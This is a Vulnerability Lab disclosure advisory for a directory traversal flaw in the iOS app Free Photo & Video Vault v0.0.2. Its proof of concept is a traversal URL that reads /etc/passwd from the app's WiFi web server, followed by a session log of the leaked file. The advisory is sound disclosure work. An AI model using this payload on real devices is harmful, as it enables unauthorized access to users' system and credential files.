Free Photo & Video Vault v0.0.2 - Directory Traversal

Document Title:
===============
Free Photo & Video Vault v0.0.2 - Directory Traversal


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2271


Release Date:
=============
2021-06-20


Vulnerability Laboratory ID (VL-ID):
====================================
2271


Common Vulnerability Scoring System:
====================================
7.3


Vulnerability Class:
====================
Directory- or Path-Traversal


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
If you are looking for a simple app with password protection for photos and videos, check out Photo Vault. 
Simply type in your PIN and import as many photos/videos as you'd like! After importing photos you can organize 
them in folders, upload them to a computer via WiFi, and delete them from your regular library so that no one 
else can see them.

(Copy of the Homepage: https://apps.apple.com/us/app/free-photo-video-vault-wifi-transfer/id981034501 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory traversal vulnerability in the official Free Photo & Video Vault v0.0.2 ios mobile application.


Affected Product(s):
====================
Author: Scott Ferreira
Product: Free Photo & Video Vault - WiFi Transfe‪r v0.0.2


Vulnerability Disclosure Timeline:
==================================
2021-06-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official Free Photo & Video Vault v0.0.2 ios mobile application.
The vulnerability allows remote attackers to change the application path in performed requests to compromise the local application 
or file-system of a mobile device. Attackers are for example able to request environment variables or a sensitive system path.

The directory-traversal web vulnerability is located in the insecure web-server configuration. The path of the local user is not 
secure restricted and validated. Thus allows an unauthenticated user with wifi access to request local web-server files without 
secure permission. Thus way the attacker injects for example local path environment variables to compromise the local ios web-server.

Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction. 
Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.


Proof of Concept (PoC):
=======================
The directory traversal web vulnerability can be exploited by remote attackers without privileges or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Exploitation:
http://[LOCALHOST]/../../../../../../../../../../../../[LOCAL WEB-SERVER PATH]


Exploitation:
http://[LOCALHOST]/../../../../../../../../../../../../etc/passwd


--- PoC Session Logs ---
# Authoritative User Database
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh
mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false
_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false
_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false
_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false
_ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false
_findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false
_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false
_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false
_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false
_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false
_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false
_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false


References:
http://[LOCALHOST]/js/
http://[LOCALHOST]/css/


Solution - Fix & Patch:
=======================
The vulnerability can be addressed by securely checking the requested path variable in combination with restrictive local and remote access permissions at the server level.


Security Risk:
==============
The security risk of the directory traversal web vulnerability in the mobile ios wifi web-application is estimated as high.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™